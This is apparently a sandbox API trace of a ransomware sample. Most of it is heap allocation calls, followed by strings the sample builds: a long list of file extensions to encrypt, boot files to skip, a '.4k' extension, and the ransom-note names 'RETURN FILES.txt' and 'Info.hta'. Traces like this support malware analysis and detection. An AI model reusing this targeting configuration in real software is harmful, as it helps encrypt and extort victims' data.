	[0084.718] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9170, Size=0x100) returned 0x4d9170
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d98a8
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d98c0
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d98d8
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d98f0
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9908
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9920
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4b4700
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9938
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9950
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9968
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4d7a88
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9980
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9998
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4d7a98
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d99b0
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d99c8
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d99e0
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d99f8
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9a10
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9a28
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d9a40
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9a58
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d9a70
	[0084.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9a88
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9aa0
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9ab8
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9ad0
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4d7aa8
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9ae8
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9b00
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9b18
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9b30
	[0084.719] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9170, Size=0x200) returned 0x4d9170
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9b48
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4d52b0
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9b60
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9ba0
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9bb8
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9bd0
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9be8
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9c00
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9c18
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9c30
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9c48
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9c60
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9c78
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9c90
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9ca8
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9cc0
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9cd8
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9cf0
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9d08
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9d20
	[0084.719] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9d38
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9d50
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9d68
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4d52c0
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9d80
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9d98
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9db0
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4d9fa0
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9dc8
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9de0
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9df8
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9e10
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9e28
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9e40
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9e58
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9e70
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9e88
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9ea0
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9eb8
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9ed0
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9ee8
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d9f00
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9f18
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9f30
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9f48
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d9f60
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec440
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec458
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec470
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4d9fb0
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4d9fc0
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec488
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec4a0
	[0084.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec4b8
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec4d0
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec4e8
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ec500
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec518
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec530
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec548
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec560
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ec578
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec590
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec5a8
	[0084.721] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9170, Size=0x400) returned 0x4d9170
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec5c0
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec5d8
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ec5f0
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec608
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec620
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec638
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ec650
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec668
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec680
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec698
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4d9fd0
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec6b0
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ec6c8
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec6e0
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec6f8
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec710
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec728
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4ec740
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec758
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec770
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec788
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec7a0
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec7b8
	[0084.721] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec7d0
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec7e8
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec800
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4d9fe0
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec840
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec858
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec870
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec888
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec8a0
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec8b8
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec8d0
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec8e8
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec900
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4ec918
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec930
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4ec948
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec960
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec978
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec990
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec9a8
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec9c0
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ec9d8
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ec9f0
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4eca08
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4eca20
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4eca38
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4eca50
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4eca68
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4eca80
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4eca98
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecab0
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecac8
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecae0
	[0084.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecaf8
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecb10
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecb28
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecb40
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecb58
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecb70
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4ecb88
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12) returned 0x4d5ed8
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecba0
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecbb8
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecbd0
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecbe8
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecc00
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecc40
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecc58
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecc70
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecc88
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecca0
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4eccb8
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4eccd0
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecce8
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecd00
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecd18
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecd30
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecd48
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecd60
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecd78
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecd90
	[0084.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ecda8
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ecdc0
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ecdd8
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4ecdf0
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ece08
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4d9ff0
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ece20
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4da000
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ece38
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ece50
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ece68
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ece80
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ece98
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4eceb0
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ecec8
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecee0
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecef8
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ecf10
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecf28
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ecf40
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4ecf58
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecf70
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4da010
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecf88
	[0084.724] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ecfa0
	[0084.725] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9170, Size=0x800) returned 0x4ed428
	[0084.725] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0084.725] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eb420 | out: hHeap=0x4a0000) returned 1
	[0084.725] lstrlenW (lpString="") returned 0
	[0084.725] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4edd68 | out: hHeap=0x4a0000) returned 1
	[0084.725] lstrlenW (lpString=".4k") returned 3
	[0084.725] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4728, Size=0x8) returned 0x4b4728
	[0084.725] lstrlenW (lpString=".4k") returned 3
	[0084.725] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4edd68 | out: hHeap=0x4a0000) returned 1
	[0084.725] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4edd80, Size=0x20) returned 0x4b4348
	[0084.725] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4348, Size=0x40) returned 0x4d6a58
	[0084.725] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d6a58, Size=0x80) returned 0x4fb428
	[0084.725] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da090, Size=0x8) returned 0x4da0a0
	[0084.725] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da0a0, Size=0x10) returned 0x4edd80
	[0084.725] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4edd80, Size=0x20) returned 0x4b4320
	[0084.725] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0084.725] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fb428 | out: hHeap=0x4a0000) returned 1
	[0084.725] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4eddb0, Size=0x20) returned 0x4d5908
	[0084.726] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5908, Size=0x40) returned 0x4d6a58
	[0084.726] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0084.726] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0084.726] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d6a58 | out: hHeap=0x4a0000) returned 1
	[0084.726] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4eddb0, Size=0x20) returned 0x4d5908
	[0084.726] lstrlenW (lpString="Info.hta") returned 8
	[0084.726] lstrlenW (lpString="Info.hta") returned 8
